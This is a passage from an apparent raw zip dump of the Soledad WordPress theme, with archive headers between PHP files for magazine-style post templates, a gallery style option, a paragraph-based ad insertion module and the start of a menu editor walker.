						<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                            <span class="featc-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
							echo '<span class="featc-views">';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						} ?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="featc-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
				<?php if ( $m == 1 ): ?></div><?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
	<?php if ( $m == 1 ): ?></div>
<div class="cat-right"><?php endif; ?>
	<?php if ( $m == $numers_results ): ?></div><?php endif; ?>
PK     0w\0֦S  S    modules/gallery.phpnu [        <?php
if ( ! class_exists( 'Penci_Add_Options_To_Gallery_Setting' ) ) {
	class Penci_Add_Options_To_Gallery_Setting {
		/**
		 * Stores the class instance.
		 *
		 * @var Penci_Add_Options_To_Gallery_Setting
		 */
		private static $instance = null;


		/**
		 * Returns the instance of this class.
		 *
		 * It's a singleton class.
		 *
		 * @return Penci_Add_Options_To_Gallery_Setting The instance
		 */
		public static function get_instance() {

			if ( ! self::$instance ) {
				self::$instance = new self;
			}

			return self::$instance;
		}

		/**
		 * Initialises the plugin.
		 */
		public function init_plugin() {

			$this->init_hooks();
		}

		/**
		 * Initialises the WP actions.
		 *  - admin_print_scripts
		 */
		private function init_hooks() {

			add_action( 'wp_enqueue_media', array( $this, 'wp_enqueue_media' ) );
			add_action( 'print_media_templates', array( $this, 'print_media_templates' ) );
		}


		/**
		 * Enqueues the script.
		 */
		public function wp_enqueue_media() {

			if ( ! isset( get_current_screen()->id ) || get_current_screen()->base != 'post' ) {
				return;
			}

			wp_enqueue_style( 'wp-color-picker' );
			wp_enqueue_script( 'wp-color-picker' );
			wp_enqueue_script( 'penci-custom-gallery-options', PENCI_SOLEDAD_URL . '/js/admin-gallery.js', array(
				'jquery',
				'media-views'
			) );
			wp_localize_script( 'penci-custom-gallery-options', 'PenciObject', array(
				'WidgetImageTitle'  => esc_html__( 'Select an image', 'soledad' ),
				'WidgetImageButton' => esc_html__( 'Insert into widget', 'soledad' ),
				'ajaxUrl'           => admin_url( 'admin-ajax.php' ),
				'nonce'             => wp_create_nonce( 'ajax-nonce' ),
			) );

			wp_enqueue_script( 'penci-custom-gallery-options-new', PENCI_SOLEDAD_URL . '/js/admin-gallery-new.js', array(
				'jquery',
				'media-views'
			) );
		}

		/**
		 * Outputs the view template with the custom setting.
		 */
		public function print_media_templates() {

			if ( ! isset( get_current_screen()->id ) || get_current_screen()->base != 'post' ) {
				return;
			}

			?>
            <script type="text/html" id="tmpl-penci-custom-gallery-options">
                <label class="setting type">
                    <span>Style</span>
                    <select class="type" name="type" data-setting="type">
						<?php
						$sizes = apply_filters( 'image_size_names_choose', array(
							'justified'        => 'Justified',
							'masonry'          => 'Masonry',
							'grid'             => 'Grid',
							'single-slider'    => 'Single Slider',
							'thumbnail-slider' => 'Slider with Thumbnail',
							'3d' 			   => '3D Slider',
							'none'             => 'None'
						) );

						foreach ( $sizes as $value => $name ) { ?>
                            <option value="<?php echo esc_attr( $value ); ?>" <?php selected( $value, 'justified' ); ?>>
								<?php echo esc_html( $name ); ?>
                            </option>
						<?php } ?>
                    </select>
                </label>
            </script>
			<?php
		}

	}

	add_action( 'admin_init', array( Penci_Add_Options_To_Gallery_Setting::get_instance(), 'init_plugin' ), 20 );
}PK     0w\      modules/magazine-style-12.phpnu [        <?php
/**
 * Template display for featured category style 12
 *
 * @since 2.0
 */
?>

<div class="magcat-carousel swiper-slide">
    <div class="magcat-thumb hentry">
        <a href="<?php penci_permalink_fix(); ?>" class="mag-post-thumb<?php echo penci_class_lightbox_enable(); ?>">
			<?php
			do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
			/* Display Review Piechart  */
			if ( function_exists( 'penci_display_piechart_review_html' ) ) {
				penci_display_piechart_review_html( get_the_ID(), 'small' );
			}
			?>

            <span <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() )); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder">
                <?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
			</span>

			<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-play' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-music' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-link' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
					<?php penci_fawesome_icon( 'far fa-image' ); ?>
				<?php endif; ?>
			<?php endif; ?>
        </a>
        <div class="magcat-detail">
            <h3 class="magcat-titlte entry-title matcat-small-title entry-title"><a
                        href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta matcat-small-meta">
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
</div>
PK     0w\W      modules/magazine-style-2.phpnu [        <?php
/**
 * Template display for featured category style 2
 *
 * @since 1.0
 */
$post_id = get_the_ID();
?>

<div class="mag-post-box hentry<?php if ( $m == 1 ): echo ' first-post'; endif; ?>">
    <div class="magcat-thumb">
		<?php
		$size_pie = 'small';
		if ( $m == 1 ): $size_pie = 'normal'; endif;
		do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
		/* Display Review Piechart  */
		if ( function_exists( 'penci_display_piechart_review_html' ) ) {

			penci_display_piechart_review_html( get_the_ID(), $size_pie );
		}
		?>

        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
           href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
        </a>


		<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
			<?php if ( has_post_format( 'video' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'audio' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'link' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'quote' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
			<?php endif; ?>
		<?php endif; ?>
    </div>
    <div class="magcat-detail">
		<?php if ( $m == 1 ): ?>
        <div class="mag-header"><?php endif; ?>
            <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
			<?php if ( $m == 1 ): ?></div><?php endif; ?>
		<?php if ( $m == 1 && get_the_excerpt() && ! get_theme_mod( 'penci_home_featured_cat_remove_excerpt' ) ): ?>
            <div class="mag-excerpt entry-content">
				<?php
				if ( get_theme_mod( 'penci_excerptcharac' ) ) {
					the_excerpt();
				} else {
					$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
					penci_the_excerpt( $excerpt_length, $post_id );
				}
				?>
            </div>
		<?php endif; ?>
		<?php penci_soledad_meta_schema(); ?>
    </div>
</div>
PK     0w\5C,  C,    modules/insert_ads.phpnu [        <?php
/**
 * Function to control the insert ads after some paragraphs
 * Follow https://keesiemeijer.wordpress.com
 *
 * @Since 7.0
 */

namespace PenciDesign\Insert_Content;
/**
 * Insert content in HTML (containing HTML paragraphs).
 *
 * By default content is inserted in the middle of all paragraphs.
 * i.e. If the HTML contains two paragraphs it will be inserted after the first.
 *
 * If no paragraphs are found in the HTML the inserted contend will be appended to the HTML.
 *
 * Note: The content you want to insert will be wrapped a HTML paragraph element (<p></p>) by default.
 *       Use the $args['insert_element'] parameter to change it to another Block-level HTML element.
 *
 * @param string $content        String of content (with paragraphs) where you want to insert content in.
 * @param string $insert_content String of content you want to insert.
 * @param array  $args           {
 *     Optional. Array with optional arguments.
 *
 *     @type string    $parent_element_id     Parent element id to search paragraphs in.
 *                                            Default: empty string. Search for paragraphs in the entire content.
 *     @type string    $insert_element        Block-level HTML element the inserted content ($insert_content) is wrapped in.
 *                                            Default 'p'. (e.g. 'p', 'div', etc.)
 *     @type int       $insert_after_p        Insert content after a number of paragraphs.
 *                                            Default empty string. The content is inserted after the middle paragraph.
 *     @type bool      $insert_if_no_p        Insert content even if the required number of paragraphs from 'insert_after_p' (above) are not found.
 *                                            Default true. Insert after the last paragraph.
 *                                            Or insert after the content if no paragraphs are found.
 *     @type bool      $top_level_p_only      Insert content after top level paragraphs only.
 *                                            Default true (recommended)
 * }
 * @return string      String with inserted content.
 */
function insert_content( $content, $insert_content = '', $args = array() ) {

	if ( ! $content ) {
		return '';
	}

	$args = array_merge( get_defaults(), (array) $args );

	if ( empty( $insert_content ) ) {
		return $content;
	}
	
	// Validate arguments.
	$args['parent_element_id'] = trim( (string) $args['parent_element_id'] );
	$args['insert_element']    = trim( (string) $args['insert_element'] );
	$args['insert_element']    = $args['insert_element'] ? $args['insert_element'] : 'p';
	$args['insert_after_p']    = abs( intval( $args['insert_after_p'] ) );
	$args['insert_every_p']    = abs( intval( $args['insert_every_p'] ) );
	$parent_element            = false;

	$nodes = new \DOMDocument();

	// Load the HTML nodes from the content.

	@$nodes->loadHTML( mb_convert_encoding( $content, 'HTML-ENTITIES', 'UTF-8' ), LIBXML_NOERROR );

	if ( $args['parent_element_id'] ) {
		$parent_element = $nodes->getElementById( $args['parent_element_id'] );

		if ( ! $parent_element ) {
			// Parent element not found.
			return $content;
		}

		// Get all paragraphs from the parent element.
		$p = $parent_element->getElementsByTagName( 'p' );
	} else {
		// Get all paragraphs from the content.
		$p = $nodes->getElementsByTagName( 'p' );
	}

	$insert_nodes = new \DOMDocument();

	// Content wrapped in the parent HTML element (to be inserted).
	$insert_content = "<{$args['insert_element']}>{$insert_content}</{$args['insert_element']}>";

	// Load the HTML nodes from the content to insert.
	@$insert_nodes->loadHTML( mb_convert_encoding( $insert_content, 'HTML-ENTITIES', 'UTF-8' ) );

	$insert_element = $insert_nodes->getElementsByTagName( $args['insert_element'] )->item( 0 );

	if ( ! $insert_element ) {
		return $content;
	}

	// Get paragraph indexes where content should be inserted after.
	$nodelist = get_node_indexes( $p, $args );

	// Check if paragraphs are found.
	if ( ! empty( $nodelist ) ) {

		$inserted = insert_nodes( $nodes, $insert_element, $p, $nodelist, $args );

		if ( ! $inserted ) {
			return $content;
		}

		$html = get_HTML( $nodes );
		if ( $html ) {
			$content = $html;
		}
	} else {
		// No paragraphs found.
		if ( (bool) $args['insert_if_no_p'] ) {

			if ( $parent_element ) {
				// Insert content after parent element.
				insert_content_element( $nodes, $parent_element, $insert_element );

				$html = get_HTML( $nodes );
				if ( $html ) {
					$content = $html;
				}
			} else {
				// Add insert content after the content.
				$content .= $insert_content;
			}
		}
	}

	return $content;
}

/**
 * Inserts nodes
 *
 * @param object $nodes          DOMNodeList instance containing all elements.
 * @param object $insert_element DOMElement object to insert.
 * @param object $p              DOMNodeList instance containing all the p elements.
 * @param array  $nodelist       Array with HTML paragraph indexes.
 * @param array  $args           Optional arguments. See: insert_content().
 * @return bool True if the node was inserted.
 */
function insert_nodes( $nodes, $insert_element, $p, $nodelist, $args ) {
	$_args = $args;
	if ( $args['insert_every_p'] ) {

		$node_count = count( $nodelist );
		$step       = (int) $args['insert_every_p'];

		if ( ( $step + $step ) > $node_count ) {
			$args['insert_every_p'] = '';
			$args['insert_after_p'] = $step;
			return insert_node( $nodes, $insert_element, $p, $nodelist, $args );
		}

		$inserted = false;
		$range    = range( $step, $node_count, $step );
		$range    = array_values( array_reverse( $range ) );
		foreach ( $range as $index ) {
			$_args['insert_after_p'] = $index;
			$inserted = insert_node( $nodes, $insert_element, $p, $nodelist, $_args );
			if ( ! $inserted ) {
				break;
			}
		}

		return $inserted;
	} else {
		return insert_node( $nodes, $insert_element, $p, $nodelist, $args );
	}
}

/**
 * Inserts a node.
 *
 * @param object $nodes          DOMNodeList instance containing all elements.
 * @param object $insert_element DOMElement object to insert.
 * @param object $p              DOMNodeList instance containing all the p elements.
 * @param array  $nodelist       Array with HTML paragraph indexes.
 * @param array  $args           Optional arguments. See: insert_content().
 * @return bool True if the node was inserted
 */
function insert_node( $nodes, $insert_element, $p, $nodelist, $args  ) {
	$insert_index = get_item_index( $nodelist, $args );

	if ( false === $insert_index ) {
		return false;
	}

	// Insert content after this (paragraph) node.
	$insert_node = $p->item( $insert_index );

	// Insert the nodes.
	insert_content_element( $nodes, $insert_node, $insert_element );
	return true;
}

/**
 * Get default arguments.
 *
 * @return array Array with default arguments.
 */
function get_defaults() {
	return array(
		'parent_element_id' => '',
		'insert_element'    => 'p',
		'insert_after_p'    => '',
		'insert_every_p'    => '',
		'insert_if_no_p'    => true,
		'top_level_p_only'  => true,
	);
}

/**
 * Returns indexes from a DOMNodeList instance containing HTML paragraphs.
 * Nested HTML paragraphs are excluded if $args['top_level_p_only'] is set to true.
 *
 * @param object $nodes DOMNodeList instance containing all the p elements.
 * @param array  $args  Optional arguments. See: insert_content().
 * @return array        Array with HTML paragraph indexes.
 */
function get_node_indexes( $nodes, $args ) {
	$args      = array_merge( get_defaults(), (array) $args );
	$nodelist  = array();
	$length    = isset( $nodes->length ) ? $nodes->length : 0;
	$parent_id = trim( $args['parent_element_id'] );

	for ( $i = 0; $i < $length; ++$i ) {
		$nodelist[ $i ] = $i;
		$parent         = false;
		$node           = $nodes->item( $i );

		if ( $parent_id  ) {
			if ( $node->parentNode->hasAttribute( 'id' ) ) {
				$parent_id_attr = $node->parentNode->getAttribute( 'id' );
				$parent = ( $parent_id === $parent_id_attr );
			}
		} else {
			$parent = ( 'body' === $node->parentNode->nodeName );
		}

		if ( (bool) $args['top_level_p_only'] && ! $parent ) {
			// Remove nested paragraphs from the list.
			unset( $nodelist[ $i ] );
		}
	}

	return array_values( $nodelist );
}

/**
 * Returns the index (for the paragraph) to insert content after.
 * Uses $args['insert_after_p'] to calculate the index.
 *
 * @param array $nodelist Array with HTML paragraph indexes.
 * @param array $args     Optional arguments. See: insert_content().
 * @return int|false Index of the (paragraph) node or false.
 */
function get_item_index( $nodelist, $args ) {

	if ( empty( $nodelist ) ) {
		return false;
	}

	$args         = array_merge( get_defaults(), (array) $args );
	$count        = count( $nodelist );
	$insert_index = abs( intval( $args['insert_after_p'] ) );

	end( $nodelist );
	$last = key( $nodelist );
	reset( $nodelist );

	if ( ! $insert_index ) {
		if ( 1 < $count ) {
			// More than one paragraph found.
			// Get middle position to insert the HTML.
			$insert_index = $nodelist[ floor( $count / 2 ) - 1 ];
		} else {
			// One paragraph.
			$insert_index = $last;
		}
	} else {
		// start counting at 0.
		--$insert_index;
		--$count;

		if ( $insert_index > $count  ) {
			if ( (bool) $args['insert_if_no_p'] ) {
				// insert after last paragraph.
				$insert_index = $last;
			} else {
				return false;
			}
		}
	}

	return $nodelist[ $insert_index ];
}

/**
 * Insert an element (and it's child elements) in the content.
 *
 * @param object $nodes          DOMDocument Object for the content.
 * @param object $insert_node    DOMElement object to insert nodes after.
 * @param object $insert_element DOMElement object to insert.
 * @return void
 */
function insert_content_element( $nodes, $insert_node, $insert_element ) {
	$next_sibling = isset( $insert_node->nextSibling ) ? $insert_node->nextSibling : false;

	if ( $next_sibling ) {
		// get sibling element (exluding text nodes and whitespace).
		$next_sibling = nextElementSibling( $insert_node );
	}

	if ( $next_sibling ) {
		// Insert before next sibling.
		$next_sibling->parentNode->insertBefore( $nodes->importNode( $insert_element, true ), $next_sibling );
	} else {
		// Insert as child of parent element.
		$insert_node->parentNode->appendChild( $nodes->importNode( $insert_element, true ) );
	}
}

/**
 * Returns the next sibling of a node.
 *
 * @param object $node DOMElement paragraph object.
 * @return object Next sibling object.
 */
function nextElementSibling( $node ) {
	while ( $node && ( $node = $node->nextSibling ) ) {
		if ( $node instanceof \DOMElement ) {
			break;
		}
	}
	return $node;
}

/**
 * Returns the HTML from a DOMDocument object as a string.
 * Returns only the HTML from the body element (added by DOMDocument->saveHTML()).
 *
 * @param object $nodes DOMDocument Object for the content.
 * @return string Html.
 */
function get_HTML( $nodes ) {
	$body_node = $nodes->getElementsByTagName( 'body' )->item( 0 );

	if ( $body_node ) {
		// Convert nodes from the body element to a string containing HTML.
		$content = $nodes->saveHTML( $body_node );
		// Remove first body element only.
		$replace_count = 1;

		return str_replace( array( '<body>', '</body>' ) , array( '', '' ), $content, $replace_count );
	}

	return '';
}PK     0w\nVC  C    modules/magazine-style-7.phpnu [        <?php
/**
 * Template loop for gird style
 */
$post_id = get_the_ID();
?>
<li class="grid-style<?php if ( get_theme_mod( 'penci_home_featured_cat_overlay7' ) ): echo ' grid-overlay-meta'; endif; ?>">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ) : ?>
                <div class="thumbnail">
					<?php do_action( 'penci_bookmark_post' ); ?>
                    <div class="penci-owl-carousel swiper penci-owl-carousel-slider penci-nav-visible" data-auto="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>
                                <div class="swiper-slide swiper-mark-item">

									<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size() ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>


                                    <figure <?php echo penci_layout_bg( $the_image[0] ); ?> class="<?php echo penci_layout_bg_class();?> penci-swiper-mask penci-image-holder"
										<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>>
										<?php echo penci_layout_img( $the_image[0] ); ?>
                                    </figure>

                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>

                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                </a>


				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="grid-header-box">
            <h2 class="grid-title entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) || ! get_theme_mod( 'penci_home_featured_cat_author' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                <div class="grid-post-box-meta">
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author-italic author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                    class="url fn n"
                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
        </div>

		<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_home_featured_cat_remove_excerpt' ) ): ?>
            <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
				<?php
				do_action( 'penci_before_post_excerpt' );
				if ( get_theme_mod( 'penci_excerptcharac' ) ) {
					the_excerpt();
				} else {
					$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
					penci_the_excerpt( $excerpt_length, $post_id );
				}
				?>
            </div>
		<?php endif; ?>
		<?php penci_soledad_meta_schema(); ?>
    </article>
</li>
PK     0w\%)>  >    modules/penci-menu-callback.phpnu [        <?php

/**
 * Class penci_nav_menu_edit_walker
 * Callback of penci_nav_menu_edit_walker function in penci-walker.php
 * Use to filter to wp_edit_nav_menu_walker
 *
 * @since 1.0
 */
class penci_nav_menu_edit_walker extends Walker_Nav_Menu_Edit {
	public function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {
		$menu_return  = '';
		$menu_control = '';
		$style        = "font-family: 'Open Sans', sans-serif;";

		// Menu setting.
		$penci_cat_mega_menu      = get_post_meta( $item->ID, 'penci_cat_mega_menu', true );
		$penci_number_mega_menu   = get_post_meta( $item->ID, 'penci_number_mega_menu', true );
		$penci_style_mega_menu    = get_post_meta( $item->ID, 'penci_style_mega_menu', true );
		$penci_position_mega_menu = get_post_meta( $item->ID, 'penci_position_mega_menu', true );
		$penci_menu_pos           = get_post_meta( $item->ID, 'penci_menu_pos', true );
		$penci_menu_type          = get_post_meta( $item->ID, 'penci_menu_type', true );
		$penci_menu_load          = get_post_meta( $item->ID, 'penci_menu_load', true );
		$penci_menu_bgimg         = get_post_meta( $item->ID, 'penci_menu_bgimg', true );
		$penci_menu_block         = get_post_meta( $item->ID, 'penci_menu_block', true );
		$penci_menu_mw            = get_post_meta( $item->ID, 'penci_menu_mw', true );
		$penci_menu_mh            = get_post_meta( $item->ID, 'penci_menu_mh', true );
		$penci_menu_bgcl          = get_post_meta( $item->ID, 'penci_menu_bgcl', true );
		$penci_menu_lbtxt         = get_post_meta( $item->ID, 'penci_menu_lbtxt', true );
		$penci_menu_lbs           = get_post_meta( $item->ID, 'penci_menu_lbs', true );
		$penci_menu_lbbg          = get_post_meta( $item->ID, 'penci_menu_lbbg', true );
		$penci_menu_lbcl          = get_post_meta( $item->ID, 'penci_menu_lbcl', true );
		$penci_menu_anchor        = get_post_meta( $item->ID, 'penci_menu_anchor', true );
		$penci_menu_visible       = get_post_meta( $item->ID, 'penci_menu_visible', true );
		// Add option choose mega menu.
		$td_category_tree = array_merge(
			array(
				'- Not Mega Menu -' => '',
			),
			penci_list_categories()
		);

